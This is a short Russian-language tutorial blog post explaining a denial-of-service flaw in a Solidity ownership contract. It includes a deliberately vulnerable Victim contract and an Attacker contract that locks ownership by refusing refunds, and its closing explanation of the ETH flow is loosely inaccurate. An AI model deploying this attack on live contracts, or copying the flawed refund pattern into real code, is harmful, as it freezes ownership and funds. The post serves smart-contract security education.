Допустим, существует контракт, который позволяет владельцу максимального количества ETH стать владельцем этого контракта.
В этом блоге мы рассмотрим, как можно взломать такой контракт, воспользовавшись уязвимостью контракта.
Рассмотрим следующий контракт:
- любой может вызвать функцию
becomeOwner()
и стать владельцем, отправив сумму, превышающуюbalance
. - При вызове функции
becomeOwner()
, если условие выполняется, суммабаланса
передается текущему владельцу, а переменные состоянияowner
ибаланса
обновляются.
contract Victim {
address public owner;
uint public balance;
function becomeOwner() external payable {
require(msg.value > balance);
(bool sent, ) = owner.call{value: balance}("");
require(sent, "Send failed");
balance = msg.value;
owner = msg.sender;
}
}
Теперь допустим, что контракт Victim не может отправить текущий баланс текущему владельцу, т.е. require(sent, "Send failed");
не выполняется.
В этом случае текущий владелец никогда не может быть удален, а новый владелец не может быть добавлен. Именно так злоумышленники могут взломать контракт:
contract Attacker { // has no fallback function, hence can't recieve eth
Victim victimCOntract;
constructor(address _victim) {
victimCOntract = Victim(_victim);
}
function attack() external payable {
victimCOntract.becomeOwner{value: msg.value}();
}
}
Функция Attacker не имеет функции получения/обратного действия, и, следовательно, не может получить ETH, когда кто-то пытается отправить ETH, транзакция не проходит. И поэтому функция becomeOwner()
никогда и никем не выполняется.
Возможно, у вас возник вопрос, если злоумышленник не может получить ETH, как он может отправить ETH жертве?
Ответ прост, если вы посмотрите на функцию attack()
, то заметите, что ETH никогда не поставляется в контракт Attack. Он передается от вызывающей функции к жертве напрямую.